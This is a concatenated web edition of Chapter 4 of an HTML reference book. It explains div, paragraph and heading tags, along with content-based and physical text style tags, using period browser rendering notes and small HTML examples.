HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] Text Basics

HTML: The Definitive Guide

Previous Chapter 4 Next

4. Text Basics

Contents:
Divisions and Paragraphs
Headings
Changing Text Appearance
Content-Based Style Tags
Physical Style Tags
Expanded Font Handling
Precise Spacing and Layout
Block Quotes
Addresses
Special Character Encoding

In this day and age of hoopla and hype, how has become almost as important as what --and in some cases, more important. Any successful presentation, even a thoughtful tome, should have its text organized into an attractive, effective document. Organizing text into attractive documents is HTML's forte. The language gives you a number of tools that help you mold your text and get your message across. HTML also helps structure your document so your target audience has easy access to your words.

Always keep in mind while designing your documents (here we go again!), that HTML tags, particularly in regard to text, only advise--they do not dictate--how a browser will ultimately render the document. Rendering varies from browser to browser. Don't get too entangled with trying to get just the right look and layout. Your attempts may and probably will be thwarted by the browser.

4.1 Divisions and Paragraphs

Like most text processors, a browser wraps the words it finds in the HTML text to fit the horizontal width of its viewing window. Widen the browser's window and words automatically flow up to fill the wider lines. Squeeze the window and words wrap downwards.

Unlike most text processors, however, HTML uses explicit division (<div>), paragraph (<p>), and line-break (<br>) tags to control the alignment and flow of text. Return characters, although quite useful for readability of the source HTML document, typically are ignored by the browser--HTML authors must use the <br> to explicitly force a text line break. The <p> tag, while also performing the task, carries with it meaning and effects beyond a simple line break.

The <div> tag is a little different. Codified in the HTML 3.2 standard, <div> was included in the language to be a simple organizational tool--divide the document into discrete sections--whose somewhat obtuse meaning meant few authors used it. But recent browser innovations--the align and style-related style and class attributes--now let you more distinctly label and thereby define individual sections of your HTML documents, as well as control the alignment and appearance of those sections. These features breathe real life and meaning into the <div> tag.

By associating a class name with the various sections of your HTML document, each delimited by a <div class=name> tag and attribute (you can do the same with other tags like <p>, too), you not only label those divisions for automated processing and management (collect all the bibliography divisions, for instance), but you may also define different, distinct display styles for those portions of your document. For instance, you might define one divisional class for your document's abstract (<div class=abstract>, for example), another for the body, a third for the conclusion, and a fourth divisional class for the bibliography (<div class=biblio>, for example).

Each class, then, might be given a different display definition in a document-level or externally related style sheet: the abstract indented and in an italic face (div.abstract {left-margin: +0.5in; font-style: italic}, for example); the body in a left-justified roman face; the conclusion similar to the abstract; and the bibliography automatically numbered and formatted appropriately.

We provide a detailed description of style sheets, classes, and their applications in Chapter 9, Cascading Style Sheets.

The <div> Tag

As defined in the HTML 3.2 standard, the <div> tag divides your document into separate, distinct sections. It may be used strictly as an organizational tool, without any sort of formatting associated with it; it becomes more effective in this regard if you add the class attribute to label the division. The <div> tag may also be combined with the align attribute to control the alignment of whole sections of your document's content in the display.

<div>
Function:

Defines a block of text

Attributes:

ALIGN
CLASS (Netscape) (Internet Explorer)
LANG (Internet Explorer)
NOWRAP (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</div>; usually omitted

Contains:

body_content

Used in:

block

The align attribute

The align attribute for <div> justifies the enclosed content to either the left (default), center, or right of the browser display. The <div> tag may be nested, and the alignment of the nested <div> tag takes precedence over the containing <div> tag. Further, other nested alignment tags, such as <center>, aligned paragraphs (see <p> in 4.1.2), or specially aligned table rows and cells, override the effect of <div>.

The nowrap attribute

Supported only by Internet Explorer, this attribute suppresses automatic word wrapping of the text within the division. Line breaks will occur where you have placed carriage returns in your HTML source document.

While the nowrap attribute probably doesn't make much sense for large sections of text that would otherwise be flowed together on the page, it can make things a bit easier when creating blocks of text with many explicit line breaks: poetry, for example, or addresses. You don't have to insert all those explicit <br> tags in a text flow within a <div nowrap> tag. On the other hand, all other browsers ignore the nowrap attribute and merrily flow your text together anyway. If you are targeting only Internet Explorer with your documents, consider using nowrap where needed, but otherwise, we can't recommend this attribute for general use.

The lang attribute

The lang attribute lets you specify the language used within the division. The value of the attribute is any of the ISO standard two-character language abbreviations. For example, adding lang=en tells the browser that the division is written in English. Presumably, the browser may make layout or typographic decisions based upon your language choice.

This attribute is only supported by Internet Explorer; all other browsers ignore it. Even within Internet Explorer, there are no behaviors defined for any specific language.

The style and class attributes

Use the style attribute with the <div> tag to create an inline style for the content enclosed by the tag. The class attribute lets you apply the style of a predefined class of the <div> tag to the contents of this division. The value of the class attribute is the name of a style defined in some document-level or externally defined style sheet. In addition, class-identified divisions also lend themselves well for computer processing of your documents, such as extraction of all divisions whose class name is "biblio," for example, for the automated assembly of a master bibliography. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

The <p> Tag

The <p> tag signals the start of a paragraph. That's not well known even by some veteran webmasters because it runs counterintuitive to what we've come to expect from experience. Most word processors we're familiar with use just one special character, typically the return character, to signal the end of a paragraph.

<p>
Function:

Defines a paragraph of text

Attributes:

ALIGN
CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</p>; usually omitted

Contains:

text

Used in:

block

In the recommended HTML way, each paragraph starts with <p> and ends with the corresponding </p> tag. And while a sequence of newline characters in a text processor-displayed document creates an empty paragraph for each one, HTML browsers typically ignore all but the first paragraph tag.

In practice, you also can ignore the starting <p> tag at the beginning of the first paragraph, as well as the </p> tag at the end of all paragraphs, since they can be implied from other tags that occur in the document, and hence safely omitted. For example:

<body>
This is the first paragraph, at the very beginning of the
body of this document.
<p>
The tag above signals the start of this second paragraph.
When rendered by a browser, it will begin slightly below the
end of the first paragraph, with a bit of extra whitespace
between the two paragraphs.
<p>
This is the last paragraph in the example.
</body>

Notice that we haven't included the paragraph start tag (<p>) for the first paragraph or any end paragraph tags at all in the example; they can be unambiguously inferred by the browser and are therefore unnecessary.

In general, you'll find that human document authors tend to omit postulated tags whenever possible, while automatic document generators tend to insert them. That may be because the software designers didn't want to run the risk of having their product chided by competitors as not adhering to the HTML standard, even though we're splitting letter-of-the-law hairs here. Go ahead and be defiant: omit that first paragraph's <p> tag and don't give a second thought to paragraph ending </p> tags, provided, of course, that your document's structure and clarity are not compromised.

Paragraph rendering

When encountering a new paragraph (<p>) tag, a browser typically inserts one blank line plus some extra vertical space into the document before starting the new paragraph. The browser then collects all the words and, if present, inline images into the new paragraph, ignoring leading and trailing spaces (not spaces between words, of course) and return characters in the HTML text. The browser software then flows the resulting sequence of words and images into a paragraph that fits within the margins of its display window, automatically generating line breaks as needed to wrap the text within the window. For example, compare how a browser arranges the text into lines and paragraphs (Figure 4.1) to how the preceding HTML example is printed on the page. The browser may also automatically hyphenate long words, and the paragraph may be full-justified to stretch the line of words out towards both margins.

Figure 4.1: Browsers ignore common return characters in the source HTML document

[Graphic: Figure 4-1]

The net result is that you do not have to worry about line length, word wrap, and line breaks when composing your HTML documents. The browser will take any arbitrary sequence of words and images and display a nicely formatted paragraph.

If you want to control line length and breaks explicitly, consider using a preformatted text block with the <pre> tag. If you need to force a line break, use the <br> tag. [<pre>: the section called "The <pre> Tag"] [<br>: the section called "The <br> Tag"]

The align attribute

Most browsers automatically left-justify a new paragraph. To change this behavior, HTML 3.2 gives you the align attribute for the <p> tag and provides three kinds of content justification: left, right, or center.

Figure 4.2 shows you the effect of each alignment, as rendered from the following source:

<p align=right>
Right over here!
<br>
This is too.
<p align=left>
Slide back left.
<p align=center>
Smack in the middle.
</p>
Left's the default.

Figure 4.2: Effect of the align attribute on paragraph justification (Netscape 2.0)

[Graphic: Figure 4-2]

Notice in the example that the paragraph alignment remains in effect until the browser encounters another <p> tag or an ending </p> tag (we deliberately left out a final <p> tag in the example to illustrate the effects of the </p> end tag on paragraph justification). Other body elements may also disrupt the current paragraph alignment and cause subsequent paragraphs to revert to the default left alignment, including forms, headers, tables, and most other body content-related tags.

The style and class attributes

Use the style attribute with the <p> tag to create an inline style for the paragraph's contents. The class attribute lets you label the paragraph with a name that refers to a predefined class of the <p> tag declared in some document-level or externally defined style sheet. And, class-identified paragraphs lend themselves well for computer processing of your documents, such as extraction of all paragraphs whose class name is "citation," for example, for automated assembly of a master list of citations. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

Allowed paragraph content

An HTML paragraph may contain any element allowed in a text flow, including conventional words and punctuation, links (<a>), images (<img>), line breaks (<br>), font changes (<b>, <i>, <tt>, <u>, <strike>, <big>, <small>, <sup>, <sub>, and <font>), and content-based style changes (<cite>, <code>, <dfn>, <em>, <kbd>, <samp>, <strong>, and <var>). If any other element occurs within the paragraph, it implies the paragraph has ended, and the browser assumes the closing </p> tag was not specified.

Allowed paragraph usage

You may specify a paragraph only within a block, along with other paragraphs, lists, forms, and preformatted text. In general, this means that paragraphs can appear where a flow of text is appropriate, such as in the body of a document, an element in a list, and so on. Technically, paragraphs cannot appear within a header, anchor, or other element whose content is strictly text-only. In practice, most browsers ignore this restriction and format the paragraph as a part of the containing element.

Previous | Home | Next
The Document Body | Book Index | Headings
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.2 Headings

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.2 Headings

Users have a hard enough time reading what's displayed on a screen. A long flow of text, unbroken by title, subtitles, and other headers, crosses the eyes and numbs the mind, not to mention the fact that it makes it nearly impossible to scan the text for a specific topic.

You should always break a flow of text into several smaller sections within one or more headings (like this book!). HTML defines six levels of headings that can be used to structure a text flow into a more readable, more manageable document. And, as we discuss in Chapter 5, Rules, Images, and Multimedia, and in Chapter 9, Cascading Style Sheets, there are a variety of graphical and text-style tricks that help divide your HTML document and make its contents more accessible as well as more readable to users.

Heading Tags

The six heading tags, written as <h1>, <h2>, <h3>, <h4>, <h5>, and <h6>, indicate the highest (<h1>) to the lowest (<h6>) precedence a heading may have in the document.

<h1>, <h2>, <h3>, <h4>, <h5>, <h6>
Function:

Define one of six levels of headers

Attributes:

ALIGN
CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</h1>, </h2>, </h3>, </h4>, </h5>, </h6>; never omitted

Contains:

text

Used in:

body_content

The enclosed text within a heading typically is uniquely rendered by the browser, depending upon the display technology available to it. The browser may choose to center, embolden, enlarge, italicize, underline, or change the color of headings to make each stand out within the document. And to thwart the most tedious HTML writers, users, too, often can alter how a browser will render the different headings.

Fortunately, in practice most browsers use a diminishing character point size for the sequence of headers, so that <h1> text is quite large and <h6> text is quite minuscule (see Figure 4.3, for example).

Figure 4.3: Browsers typically use diminishing text sizes for rendering headings

[Graphic: Figure 4-3]

By tradition, HTML authors have come to use <h1> headers for document titles, <h2> headers for section titles, and so on, often matching the way many of us were taught to outline our work with heads, subheads, and sub-subheads.

Finally, don't forget to include the appropriate heading end tags in your document. The browser won't insert one automatically for you, and omitting the ending tag for a heading can have disastrous consequences for your document.

The align attribute

The default heading alignment for most browsers is left. Like the <div> and <p> tags, you can alter this alignment with the align attribute and one of the values: left, center, or right. Figure 4.4 shows these alternative alignments as rendered from the following source:

<h1 align=right>Right over here!</h1>
<h2 align=left>Slide back left.</h2>
<h3 align=center>Smack in the middle.</h3>

Figure 4.4: The headings align attribute in action

[Graphic: Figure 4-4]

The style and class attributes

The style and class attributes for the heading tags let you define an inline style for the content enclosed by the header tag, and format the content according to a predefined style sheet class. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

Appropriate Use of Headings

It's good form to repeat your document title in the first heading tag, since the title you specify at the beginning of your HTML document doesn't appear in the user's main display window. It should match the title in the document header. The following HTML segment is a good example of repeating the document's title in the header and in the body of the document:

<html>
<head>
<title>Kumquat Farming in North America</title>
</head>
<body>
<h3>Kumquat Farming in North America</h3>
<p>
Perhaps one of the most enticing of all fruits is the...

While the browser may place the title somewhere in the document window and may also use it to create bookmarks or hotlist entries, all of which vaguely are somewhere on the user's desktop, the level three title heading in the example will always appear at the very beginning of the document. It serves as a visible title to the document regardless of how the browser handles the <title> tag contents. And, unlike the <title> text, the heading title will appear at the beginning of the first page should the user elect to print the document. [the section called "The <title> Tag"]

In the example, we chose to use a level three header (<h3>) whose rendered font typically is just a bit larger than the regular document text. Levels one and two are larger still and often a bit overbearing. You should choose a level of heading that you find useful and attractive and use that level consistently throughout your documents.

Once you have established the top-level heading for your document, use additional headings at the same or lower level throughout to add structure and "scanability" to the document. If you use a level three heading for the document title, break your document into several sections using level four headings. If you have the urge to subdivide your text further, consider using a level two heading for the title, level three for the section dividers, and level four for the subsections.

Using Headings for Smaller Text

For most graphical browsers, the fonts used to display <h1>, <h2>, and <h3> headers are larger, <h4> is the same, and <h5> and <h6> are smaller than the regular text size. HTML writers typically use the latter two sizes for boilerplate text, like a disclaimer or a copyright notice. Experiment with <h5> and <h6> to get the effect you want. See how a typical browser renders the copyright reference in the following sample HTML segment (see Figure 4.5):

resulting in years of successful kumquat production
throughout North America.
</p>
<h6>This document copyright 1995 by the Kumquat Growers of
America. All rights reserved. </h6>
</body>
</html>

Figure 4.5: HTML authors typically use header level six for boilerplate text

[Graphic: Figure 4-5]

Allowed Heading Content

A heading may contain any element allowed in text, including conventional text, link anchors (<a>), images (<img>), line breaks (<br>), font embellishments (<b>, <i>, <tt>, <u>, <strike>, <big>, <small>, <sup>, <sub>, and <font>), and content-based style changes (<cite>, <code>, <dfn>, <em>, <kbd>, <samp>, <strong>, and <var>).

In practice, however, font or style changes may not take effect within a heading, since the heading itself prescribes a font change within the browser.

There is widespread abuse of the heading tags as a mechanism for changing the font of an entire document. Technically, paragraphs, lists, and other block elements are not allowed within a heading and may be mistaken by the browser to indicate the implied end of the heading. In practice, most browsers apply the style of the heading to all contained paragraphs. We discourage this practice since it is not only a violation of the HTML standard, but usually ugly to look at. Imagine if your local paper printed all the copy in headline type!

If you really want to change the entire font or type size of your document, consider instead defining a unique style for the <body> tag of your document. This style will be applied to all the content within the <body> and will make later modification of your document style much easier. See Chapter 9, Cascading Style Sheets for details.

Allowed Heading Usage

Formally, the HTML standard allows headings only within body content. In practice, most browsers recognize headings almost anywhere, formatting the rendered text to fit within the current element. In all cases, the occurrence of a heading signifies the end of any preceding paragraph or other text element, so you can't use the heading tags to change font sizes in the same line. HTML 3.2, however, defines the <font> tag for inline font size adjustments; see the section called "Expanded Font Handling" for details.

Adding Images to Headings

It is possible to insert one or more images within your headings, from small bullets or icons to full-sized logos. Combining a consistent set of headings with corresponding icons across a family of documents is not only visually attractive, but an effective way of aiding users' perusal of your document collection. [the section called "The <img> Tag"]

Adding an image to a heading is easy. For example, the following text puts an "information" icon inside the "For More Information" heading, as you can see in Figure 4.6.

<h2>
<img src="info.gif">
For More Information</h2>

In general, images within headings look best at the beginning of the heading, aligned with the bottom or middle of the heading text.

Figure 4.6: An image within a heading

[Graphic: Figure 4-6]

Previous | Home | Next
Divisions and Paragraphs | Book Index | Changing Text Appearance
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.3 Changing Text Appearance

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.3 Changing Text Appearance

HTML offers a number of tags that change the appearance of text. In general, these tags can be grouped into two flavors: content-based styles and physical styles.

In addition, the W3C has put forth a draft for a new standard way in which HTML authors may control the look and layout of their document text through Cascading Style Sheets. Netscape, too, in their latest browser has implemented style sheets through JavaScript. We describe the HTML tag-based text styles in this chapter. See Chapter 9, Cascading Style Sheets, for details about cascading and JavaScript-based style sheets.

Content-Based Styles

Content-based style tags inform the browser that the enclosed text has a specific meaning, context, or usage. The browser then formats the text in a manner consistent with that meaning, context, or usage.

Because font style is specified via semantic clues, the browser can choose a display style that is appropriate for the user. Since such styles vary by locale, using content-based styles helps ensure that your documents will have meaning to a broader range of readers. This is particularly important when a browser is targeted at blind or handicapped readers whose display options are radically different from conventional text or are extremely limited in some way.

The HTML standard does not define a format for each of the content-based styles except that they must be rendered in a manner different from the regular text in a document. The standard doesn't even insist that the content-based styles be rendered differently from one another. In practice, you'll find that many of these tags have fairly obvious relationships with conventional print, having similar meanings and rendered styles, and are rendered in the same style and fonts by most browsers.

Physical Styles

We use the word "intent" a lot when we talk about content-based style tags. That's because the meaning conveyed by the tag is more important than the way a browser displays the text. In some cases, however, you might want the text to appear explicitly in italic or bold, perhaps for legal or copyright reasons. In those cases, use a physical style for the text.

While the tendency with other text-processing systems is to control style and appearance explicitly, with HTML you should avoid explicit, physical tags except on rare occasions. Rather, provide the browser with as much contextual information as possible. Use the content-based styles. Even though current browsers may do nothing more than display their text in italic or bold, future browsers and various document-generation tools may use the content-based styles in any number of creative ways.

Previous | Home | Next
Headings | Book Index | Content-Based Style Tags
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.4 Content-Based Style Tags

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.4 Content-Based Style Tags

It takes discipline to use the content-based styles, since it is easier to simply think of how your text should look, not necessarily what it may also mean. Once you get started using content-based styles, your documents will be more consistent and better lend themselves to automated searching and content compilation.

Content-Based Style Tags
Function:

Alter the appearance of text based upon the meaning, context, or usage of the text

Attributes:

CLASS (Netscape) explorer;
STYLE (Netscape) explorer;

End tag:

Never omitted

Contains:

text

Used in:

text

The <cite> Tag

The <cite> tag usually indicates that the enclosed text is a bibliographic citation like a book or magazine title. By convention, the citation text is rendered in italic. For example, see Figure 4.7 for the NCSA Mosaic rendering of this source text:

While kumquats are not mentioned in Melville's
<cite>Moby Dick</cite>, it is nonetheless apparent
that the mighty cetacean represents the bitter
"kumquat-ness" within every man. Indeed, when Ahab
spears the beast, its flesh is tough, much like the noble fruit.

Use the <cite> tag to set apart any reference to another document, especially those in the traditional media, such as books, magazines, journal articles, and the like. If an online version of the referenced work exists, you also should enclose the citation within the <a> tag and make it a hyperlink to that online version.

Figure 4.7: Mosaic renders <cite> in italic

[Graphic: Figure 4-7]

The <cite> tag also has a hidden feature: it enables you or someone else to automatically extract a bibliography from your documents. It is easy to envision a browser that compiles tables of citations automatically, displaying them as footnotes or as a separate document entirely. The semantics of the <cite> tag go far beyond changing the appearance of the enclosed text; they enable the browser to present the content to the user in a variety of useful ways.

The <code> Tag

Software code warriors have become accustomed to a special style of text presentation for their source programs. The <code> tag is for them. It renders the enclosed text in a monospaced, teletype-style font like Courier familiar to most programmers and readers of O'Reilly's series of books, including this one.

This following bit of en<code>ed text is rendered in monospaced font style by Netscape as shown in Figure 4.8.

The array reference <code>a[i]</code> is identical to
the pointer reference <code>*(a+i)</code>.

Figure 4.8: Use <code> to present computer-speak

[Graphic: Figure 4-8]

You should use the <code> tag only for text that represents computer source code or other machine-readable content. While the <code> tag usually just makes text appear in a monospaced font, the implication is that it is source code and future browsers may add other display effects. For example, a programmer's browser might look for <code> segments and perform some additional text formatting like special indentation of loops and conditional clauses. If the only effect you desire is a monospaced font, use the <tt> tag instead.

The <dfn> Tag

Use <dfn> to tag those defining instances of special terms or phrases. It may not result in any formatting changes by the browser. Instead, <dfn> might assist in creating a document index or glossary.

For example, use the <dfn> tag to introduce a new phrase to the reader:

When analyzing annual crop yields, <dfn>rind spectroscopy</dfn> may prove useful. By comparing the relative levels of saturated hydrocarbons in fruit from adjacent trees, rind spectroscopy has been shown to be 87% effective in predicting an outbreak of trunk dropsy in trees under four years old.

Notice that we delimit only the first occurrence of "rind spectroscopy" with a <dfn> tag in the example. Good style tells us not to clutter the text with highlighted text. As with the many other content-related and physical style tags, the fewer the better.[1] As a general style, especially in technical documentation, set off new terms when they are first introduced to help your readers better understand the topic at hand, but resist tagging the terms thereafter.

[1] If you need convincing that less is better when applying the content-based and physical style tags, try reading a college textbook in which someone has highlighted what they considered important words and phrases with a yellow pen.

The <em> Tag

The <em> tag tells the client browser to present the enclosed text with emphasis. For nearly all browsers, this means the text is rendered in italic. For example, Netscape will emphasize by italicizing the words "always" and "never" in the following sample:

Kumquat growers must <em>always</em> refer to kumquats
as "the noble fruit," <em>never</em> as just a "fruit."

Adding emphasis to your text is a tricky business. Too little, and the emphatic phrases may be lost. Too much, and you lose the urgency. Like any seasoning, emphasis is best used sparingly.

Although invariably displayed in italic, the <em> tag has broader implications as well and someday browsers may render emphasized text with a different special effect. The <i> tag explicitly italicizes text; use it if all you want is italic. Besides emphasis, also consider using <em> when presenting new terms or as a fixed style when referring to a specific type of term or concept. For instance, one of O'Reilly's book styles is to specially format file and device names. In the HTML version, <em> might be used to differentiate those terms from simple italic for emphasis.

The <kbd> Tag

Speaking of special style for technical concepts, there is the <kbd> tag. As you probably already suspect, it is used to indicate text that is typed on a keyboard. Its enclosed text typically is rendered by the browser in monospaced font style.

The <kbd> tag is most often used in computer-related documentation and manuals, such as in this example:

Type <kbd>quit</kbd> to exit the utility, or type
<kbd>menu</kbd> to return to the main menu.

The <samp> Tag

The <samp> tag indicates a sequence of literal characters that should have no other interpretation by the user. This tag is most often used when a sequence of characters is taken out of its normal context. For example, the following source:

The <samp>ae</samp> character sequence may be converted
to the &aelig; ligature if desired.

is rendered by Netscape as shown in Figure 4.9.

Figure 4.9: Setting off sample text using the <samp> tag

[Graphic: Figure 4-9]

(The special HTML reference for the "ae" ligature entity is &aelig; and is converted to its appropriate æ ligature character by most browsers.) For more information, see Appendix E, Character Entities.

In general, the <samp> tag is not used very often. It should be used in those few cases where special emphasis needs to be placed on small character sequences taken out of their normal context.

The <strong> Tag

Like the <em> tag, the <strong> tag is for emphasizing text, except with more gusto. Browsers typically display the <strong> tag differently than the <em> tag, usually by making the text bold (versus italic), so that users can distinguish between the two. For example, in the following text, the emphasized "never" appears in italic with Mosaic, while the <strong> "forbidden" is rendered in bold characters (see Figure 4.10).

One should <em>never</em> make a disparaging remark
about the noble fruit. In particular, mentioning
kumquats in conjunction with vulgar phrases is
expressly <strong>forbidden</strong> by the Association
bylaws.

If common sense tells us that the <em> tag should be used sparingly, the <strong> tag should appear in documents even more infrequently. <em> text is like shouting. <strong> text is nothing short of a scream. Like a well-chosen epithet voiced by an otherwise taciturn person, restraint in the use of <strong> makes its use that much more noticeable and effective.

Figure 4.10: Strong and emphasized text are rendered differently by Mosaic

[Graphic: Figure 4-10]

The <var> Tag

The <var> tag, another computer-documentation trick, indicates a variable name or a user-supplied value. The tag is most often used in conjunction with the <code> and <pre> tags for displaying particular elements of computer programming code samples and the like. <var>-tagged text typically is rendered in monospace font, as shown in Figure 4.11, which displays Netscape's rendering of the following example:

The user should type
<pre>
  cp <var>source-file</var>  <var>dest-file</var>
</pre>
replacing the <var>source-file</var> with the name of
the source file, and <var>dest-file</var> with the name
of the destination file.

Figure 4.11: The <var> tag typically appears in preformatted (<pre>) computer code

[Graphic: Figure 4-11]

Like the other computer programming and documentation-related tags, the <var> tag not only makes it easy for users to understand and browse your documentation, but automated systems might someday use the appropriately tagged text to extract information and useful parameters mentioned in your document. Once again, the more semantic information you provide to your browser, the better it can present that information to the user.

The style and class Attributes

Although each content-based tag has a defined style, you can override that style by defining your own look for each tag. This new look can be applied to the content-based tags using either the style or class attributes. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

Summary of Content-Based Tags

The various graphical browsers render text inside content-based tags in similar fashion; text-only browsers like Lynx have consistent styles for the tags. Table 4.1 summarizes these browsers' display styles for the native tags. However, style sheet definitions may override these native display styles.

Table 4.1: Content-based tags
Tag | Netscape | Internet Explorer | Lynx
<cite> | italic | italic | monospace
<code> | monospace | monospace | monospace
<dfn> | n/a | italic | n/a
<em> | italic | italic | monospace
<kbd> | monospace | monospace bold | monospace
<samp> | monospace | monospace | monospace
<strong> | bold | bold | monospace
<var> | italic | monospace | monospace

Allowed Content

Any content-based style tag may contain any item allowed in text, including conventional text, anchors, images, and line breaks. In addition, other content-based and physical style tags can be embedded within the content.

Allowed Usage

Any content-based style tag may be used anywhere an item allowed in text is used. In practice, this means you can use the <em>, <code>, or other like tags anywhere in your HTML document except inside <title>, <listing>, or <xmp> tagged segments. You can use text style tags in headings, too, but their effect may be overridden by the effects of the heading tag itself.

Combining Content-Based Styles

It may have occurred to you to combine two or more of the various content-based styles to create interesting and perhaps even useful hybrids. Thus, an emphatic citation might be achieved with:

<cite><em>Moby Dick</em></cite>

In practice, Dr. Frankenstein, the browser usually ignores the monster; as you can test by typing and viewing the example yourself, Moby Dick gets the citation without emphasis.

The HTML standard does not require the browser to support every possible combination of content-based styles and does not define how the browser should handle such combinations. Someday, maybe. For now, it's best to choose one tag and be satisfied.

Previous | Home | Next
Changing Text Appearance | Book Index | Physical Style Tags
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.5 Physical Style Tags

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.5 Physical Style Tags

There are ten physical styles provided by the current HTML standard, including bold, italic, monospaced, underlined, and strike-through text. In addition, the modern browsers support blinking, larger, smaller, superscript, and subscript text. All physical style tags require an ending tag.

Physical Style Tags
Function:

Specify a physical style for text

Attributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

Never omitted

Contains:

text

Used in:

text

The <b> Tag

The <b> tag is the physical equivalent of the <strong> content-based style tag, but without the latter's extended meaning. The <b> tag explicitly boldfaces a character or segment of text that is enclosed between it and its corresponding (</b>) end tag. If a boldface font is not available, the browser may use some other representation, such as reverse video or underlining.

The <big> Tag

The <big> tag makes it easy to increase the size of text without worrying about all of the details of virtual font sizes available with the <font> tag described later in this chapter. It couldn't be simpler: The browser renders the text between the <big> tag and its matching </big> ending tag one font size larger than the surrounding text. If that text is already at the largest size, <big> has no effect. [the section called "The <font> Tag"]

Even better, you can nest <big> tags to enlarge the text. Each <big> tag makes the text one size larger, up to a limit of size seven, as defined by the font model.

Be careful with your use of the <big> tag, though. Because browsers are quite forgiving and try hard to understand a tag, those that don't support <big> often interpret it to mean bold.

The <blink> Tag

Text contained between the <blink> tag and its end tag </blink> does just that: blink on and off. Netscape for Macintosh, for example, simply and reiteratively reverses the background and foreground colors for the <blink> enclosed text. The HTML standard does not include <blink>; it is supported as an extension by Netscape.

We cannot effectively reproduce the animated effect here in these static pages, but it is easy to imagine and probably best left to the imagination, too. That's because blinking text has two primary effects: it gets your reader's attention, and then promptly annoys them to no end. Blinking text should be used sparingly in any context.

The <i> Tag

The <i> tag is like the <em> content-based style tag. It and its necessary (</i>) end tag tell the browser to render the enclosed text in an italic or oblique typeface. If the typeface is not available to the browser, highlighting, reverse video, or underlining might be used.

The <small> Tag

The <small> tag works just like its <big> counterpart (see previous description), except it decreases the size of text instead of increasing it. If the enclosed text is already at the smallest size supported by the font model, <small> has no effect.

Like <big>, you may also nest <small> tags to sequentially shrink text. Each <small> tag makes the text one size smaller than the containing <small> tag, down to a limit of size one.

The <s> Tag

The <s> tag is an abbreviated form of the <strike> tag supported by both Internet Explorer and Netscape.

The <strike> Tag

Most browsers will put a line through ("strike through") text that appears inside the <strike> tag and its </strike> end tag. Presumably, it is an editing markup that tells the reader to ignore the text passage, reminiscent of the days before typewriter correction tape. You'll rarely, if ever, see the tag in use today, but expect it to become more commonplace as marketers of consumer items hawked on the Web slash prices on their slow-moving products.

The <sub> Tag

The text contained between the <sub> tag and its </sub> end tag gets displayed half a character's height lower, but in the same font and size as the current text flow. Both <sub> and its <sup> counterpart are useful for math equations and in scientific notation, as well as with chemical formulæ.

The <sup> Tag

The <sup> tag and its </sup> end tag superscripts the enclosed text; it gets displayed half a character's height higher, but in the same font and size as the current text flow. This tag is useful for adding footnotes to your documents, along with exponential values in equations. In combination with the <a> tag, you can create nice, hyperlinked footnotes:

The larval quat
weevil<a href="footnotes.html#note74"><sup><small>74</small></sup></a> is a

This example assumes that footnotes.html contains all your footnotes, appropriately delimited as named document fragments.

The <tt> Tag

In a manner like the <code> and <kbd> tags, the <tt> tag and necessary </tt> end tag direct the browser to display the enclosed text in a monospaced typeface. For those browsers that already use a monospaced typeface, this tag may make no discernible change in the presentation of the text.

The <u> Tag

This tag tells the browser to underline the text contained between the <u> and the corresponding </u> tag. The underlining technique is simplistic, drawing the line under spaces and punctuation as well as the text.

The style and class Attributes

Although each physical tag has a defined style, you can override that style by defining your own look for each tag. This new look can be applied to the physical tags using either the style or class attributes. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"]

Summary of Physical Style Tags

The various graphical browsers render text inside the physical style tags in similar fashion. Table 4.2 summarizes these browser's display styles for the native tags. Style sheet definitions may override these native display styles.

The following HTML source example illustrates some of the various physical tags as rendered by Netscape for Figure 4.12:

Explicitly <b>boldfaced</b>, <i>italicized</i>, or
<tt>teletype-style</tt> text should be used
<big><big>sparingly</big></big>.
Otherwise, drink <strike>lots</strike> 1x10<sup>6</sup>
drops of H<sub><small><small>2</small></small></sub>O.

Figure 4.12: Use physical text tags with caution

[Graphic: Figure 4-12]

Table 4.2: Physical style tags
Tag | Meaning | Display Style
<b> | Bold contents | bold
<big> | Increased font size | bigger text
<blink> | Alternating fore and background colors | blinking text
<i> | Italic contents | italic
<small> | Decreased font size | smaller text
<s>, <strike> | Strike-through text | strike
<sub> | Subscripted text | subscript
<sup> | Superscripted text | superscript
<tt> | Teletypewriter style | monospaced
<u> | Underlined contents | underlined

Allowed Content

Any physical style tag may contain any item allowed in text, including conventional text, anchors, images, and line breaks. You also can combine physical style tags with other content-based ones.

Allowed Usage

Any physical style tag may be used anywhere an item allowed in text can be used. In general, this means anywhere within a document except in the <title>, <listing>, and <xmp> tags. You could use a physical style tag in a heading, but the browser will probably override and ignore its effect in lieu of the heading tag.

Combining Physical Styles

You probably will have better luck, Dr. Frankenstein, combining physical tags than you might have combining content-based tags to achieve multiple effects. For instance, Netscape renders the following in bold and italic typeface:

<b><i>Thar she blows!</i></b>

In practice, other browsers may elect to ignore such nesting. The HTML 3.2 standard does require the browser to "do their best" to support every possible combination of styles, but does not define how the browser should handle such combinations. Although most browsers make a good attempt at doing so, do not assume that all combinations will be available to you.

Previous | Home | Next
Content-Based Style Tags | Book Index | Expanded Font Handling
